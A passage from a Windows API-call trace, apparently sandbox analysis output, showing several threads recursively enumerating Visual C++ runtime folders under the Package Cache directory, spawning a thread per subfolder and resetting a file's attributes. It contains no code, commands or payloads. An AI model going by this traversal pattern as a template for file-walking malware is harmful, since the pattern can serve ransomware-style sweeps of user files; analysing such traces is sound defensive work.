hTemplateFile=0x0) returned 0xffffffff [0146.470] GetLastError () returned 0x5 [0146.470] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm", dwFileAttributes=0x20) returned 0 [0146.470] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x97c0f8) returned 1 Thread: id = 2518 os_tid = 0x13f8 [0146.173] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xbc) returned 0xd4b9a08 [0146.173] wcscpy (in: _Dest=0xd4b9a08, _Source="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages" [0146.173] wcscat (in: _Dest=0xd4b9a08, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\" [0146.173] wcscat (in: _Dest=0xd4b9a08, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\*") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\*" [0146.173] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x907eb0 [0146.173] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\*", lpFindFileData=0x907eb0 | out: lpFindFileData=0x907eb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x93b138 [0146.473] wcscmp (_String1=".", _String2=".") returned 0 [0146.473] FindNextFileW (in: hFindFile=0x93b138, lpFindFileData=0x907eb0 | out: lpFindFileData=0x907eb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.473] wcscmp (_String1="..", _String2=".") returned 1 [0146.473] wcscmp (_String1="..", _String2="..") returned 0 [0146.473] FindNextFileW (in: hFindFile=0x93b138, lpFindFileData=0x907eb0 | out: lpFindFileData=0x907eb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedc37f80, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedc37f80, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 1 [0146.473] wcscmp (_String1="vcRuntimeAdditional_x86", _String2=".") returned 1 [0146.473] wcscmp (_String1="vcRuntimeAdditional_x86", _String2="..") returned 1 [0146.473] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xe8) returned 0xd4bba58 [0146.473] wcscpy (in: _Dest=0xd4bba58, _Source="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages" [0146.474] wcscat (in: _Dest=0xd4bba58, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\" [0146.474] wcscat (in: _Dest=0xd4bba58, _Source="vcRuntimeAdditional_x86" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86" [0152.867] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0xd4bba58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc9c [0152.868] FindNextFileW (in: hFindFile=0x93b138, lpFindFileData=0x907eb0 | out: lpFindFileData=0x907eb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedc37f80, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedc37f80, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 0 [0152.868] FindClose (in: hFindFile=0x93b138 | out: hFindFile=0x93b138) returned 1 [0152.868] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x907eb0) returned 1 [0152.868] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4b9a08) returned 1 [0152.868] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c65c0) returned 1 Thread: id = 2519 os_tid = 0x13fc [0146.174] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xbe) returned 0xd4b9ad0 [0146.174] wcscpy (in: _Dest=0xd4b9ad0, _Source="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages" [0146.174] wcscat (in: _Dest=0xd4b9ad0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\" [0146.174] wcscat (in: _Dest=0xd4b9ad0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\*") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\*" [0146.174] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9085e8 [0146.174] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\*", lpFindFileData=0x9085e8 | out: lpFindFileData=0x9085e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa931c450, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa931c450, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x93b0f8 [0146.474] wcscmp (_String1=".", _String2=".") returned 0 [0146.474] FindNextFileW (in: hFindFile=0x93b0f8, lpFindFileData=0x9085e8 | out: lpFindFileData=0x9085e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa931c450, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa931c450, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.474] wcscmp (_String1="..", _String2=".") returned 1 [0146.474] wcscmp (_String1="..", _String2="..") returned 0 [0146.474] FindNextFileW (in: hFindFile=0x93b0f8, lpFindFileData=0x9085e8 | out: lpFindFileData=0x9085e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa93425b0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa93425b0, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 1 [0146.474] wcscmp (_String1="vcRuntimeMinimum_amd64", _String2=".") returned 1 [0146.474] wcscmp (_String1="vcRuntimeMinimum_amd64", _String2="..") returned 1 [0146.474] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xe8) returned 0xd4bbb48 [0146.474] wcscpy (in: _Dest=0xd4bbb48, _Source="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages" [0146.474] wcscat (in: _Dest=0xd4bbb48, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\" [0146.474] wcscat (in: _Dest=0xd4bbb48, _Source="vcRuntimeMinimum_amd64" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64" [0147.128] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0xd4bbb48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1190 [0147.129] FindNextFileW (in: hFindFile=0x93b0f8, lpFindFileData=0x9085e8 | out: lpFindFileData=0x9085e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa93425b0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa93425b0, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 0 [0147.129] FindClose (in: hFindFile=0x93b0f8 | out: hFindFile=0x93b0f8) returned 1 [0147.129] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9085e8) returned 1 [0147.129] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4b9ad0) returned 1 [0147.129] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fa928) returned 1 Thread: id = 2520 os_tid = 0x3d8 [0146.175] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xbe) returned 0xd4b9b98 [0146.175] wcscpy (in: _Dest=0xd4b9b98, _Source="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages" [0146.175] wcscat (in: _Dest=0xd4b9b98, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\" [0146.175] wcscat (in: _Dest=0xd4b9b98, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\*") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\*" [0146.175] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x907778 [0146.175] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\*", lpFindFileData=0x907778 | out: lpFindFileData=0x907778*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8d9e90 [0146.175] wcscmp (_String1=".", _String2=".") returned 0 [0146.176] FindNextFileW (in: hFindFile=0x8d9e90, lpFindFileData=0x907778 | out: lpFindFileData=0x907778*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.176] wcscmp (_String1="..", _String2=".") returned 1 [0146.176] wcscmp (_String1="..", _String2="..") returned 0 [0146.176] FindNextFileW (in: hFindFile=0x8d9e90, lpFindFileData=0x907778 | out: lpFindFileData=0x907778*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94fa460, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94fa460, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 1 [0146.176] wcscmp (_String1="vcRuntimeAdditional_x86", _String2=".") returned 1 [0146.176] wcscmp (_String1="vcRuntimeAdditional_x86", _String2="..") returned 1 [0146.176] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xea) returned 0x8ebe78 [0146.176] wcscpy (in: _Dest=0x8ebe78, _Source="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages" [0146.176] wcscat (in: _Dest=0x8ebe78, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\" [0146.176] wcscat (in: _Dest=0x8ebe78, _Source="vcRuntimeAdditional_x86" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86" [0151.638] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xee) returned 0x904560 [0151.638] wcscpy (in: _Dest=0x904560, _Source="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86" [0151.638] wcscat (in: _Dest=0x904560, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\" [0151.638] wcscat (in: _Dest=0x904560, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\*") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\*" [0151.638] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x906b70 [0151.638] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\*", lpFindFileData=0x906b70 | out: lpFindFileData=0x906b70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94fa460, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94fa460, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8d9f50 [0151.647] wcscmp (_String1=".", _String2=".") returned 0 [0151.647] FindNextFileW (in: hFindFile=0x8d9f50, lpFindFileData=0x906b70 | out: lpFindFileData=0x906b70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94fa460, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94fa460, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0151.647] wcscmp (_String1="..", _String2=".") returned 1 [0151.647] wcscmp (_String1="..", _String2="..") returned 0 [0151.647] FindNextFileW (in: hFindFile=0x8d9f50, lpFindFileData=0x906b70 | out: lpFindFileData=0x906b70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3c0e500, ftCreationTime.dwHighDateTime=0x1d28824, ftLastAccessTime.dwLowDateTime=0xd3c0e500, ftLastAccessTime.dwHighDateTime=0x1d28824, ftLastWriteTime.dwLowDateTime=0xd3c0e500, ftLastWriteTime.dwHighDateTime=0x1d28824, nFileSizeHigh=0x0, nFileSizeLow=0x4f699e, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0151.647] wcscmp (_String1="cab1.cab", _String2=".") returned 1 [0151.647] wcscmp (_String1="cab1.cab", _String2="..") returned 1 [0151.647] FindNextFileW (in: hFindFile=0x8d9f50, lpFindFileData=0x906b70 | out: lpFindFileData=0x906b70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfeab3900, ftCreationTime.dwHighDateTime=0x1d28824, ftLastAccessTime.dwLowDateTime=0xfeab3900, ftLastAccessTime.dwHighDateTime=0x1d28824, ftLastWriteTime.dwLowDateTime=0xfeab3900, ftLastWriteTime.dwHighDateTime=0x1d28824, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0151.647] wcscmp (_String1="vc_runtimeAdditional_x86.msi", _String2=".") returned 1 [0151.647] wcscmp (_String1="vc_runtimeAdditional_x86.msi", _String2="..") returned 1 [0151.648] FindNextFileW (in: hFindFile=0x8d9f50, lpFindFileData=0x906b70 | out: lpFindFileData=0x906b70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfeab3900, ftCreationTime.dwHighDateTime=0x1d28824, ftLastAccessTime.dwLowDateTime=0xfeab3900, ftLastAccessTime.dwHighDateTime=0x1d28824, ftLastWriteTime.dwLowDateTime=0xfeab3900, ftLastWriteTime.dwHighDateTime=0x1d28824, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0151.648] FindClose (in: hFindFile=0x8d9f50 | out: hFindFile=0x8d9f50) returned 1 [0151.648] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x906b70) returned 1 [0151.648] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x904560) returned 1 [0151.648] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8ebe78) returned 1 [0151.648] FindNextFileW (in: hFindFile=0x8d9e90, lpFindFileData=0x907778 | out: lpFindFileData=0x907778*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94fa460, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94fa460, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 0 [0151.648] FindClose (in: hFindFile=0x8d9e90 | out: hFindFile=0x8d9e90) returned 1 [0151.648] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x907778) returned 1 [0151.648] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4b9b98) returned 1 [0151.648] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fa9f0) returned 1 Thread: id = 2521 os_tid = 0x1404 [0146.176] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xbe) returned 0xd4b9c60 [0146.176] wcscpy (in: _Dest=0xd4b9c60, _Source="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages" [0146.176] wcscat (in: _Dest=0xd4b9c60, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\" [0146.176] wcscat (in: _Dest=0xd4b9c60, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\*") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\*" [0146.176] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9b8d20 [0146.177] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\*", lpFindFileData=0x9b8d20 | out: lpFindFileData=0x9b8d20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x93b0b8 [0146.475] wcscmp (_String1=".", _String2=".") returned 0 [0146.475] FindNextFileW (in: hFindFile=0x93b0b8, lpFindFileData=0x9b8d20 | out: lpFindFileData=0x9b8d20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.475] wcscmp (_String1="..", _String2=".") returned 1 [0146.475] wcscmp (_String1="..", _String2="..") returned 0 [0146.475] FindNextFileW (in: hFindFile=0x93b0b8, lpFindFileData=0x9b8d20 | out: lpFindFileData=0x9b8d20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 1 [0146.475] wcscmp (_String1="vcRuntimeMinimum_x86", _String2=".") returned 1 [0146.475] wcscmp (_String1="vcRuntimeMinimum_x86", _String2="..") returned 1 [0146.475] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xe4) returned 0xd4bbc38 [0146.475] wcscpy (in: _Dest=0xd4bbc38, _Source="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages" [0146.475] wcscat (in: _Dest=0xd4bbc38, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\" [0146.475] wcscat (in: _Dest=0xd4bbc38, _Source="vcRuntimeMinimum_x86" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86") returned="C:\\Users\\All Users\\Package 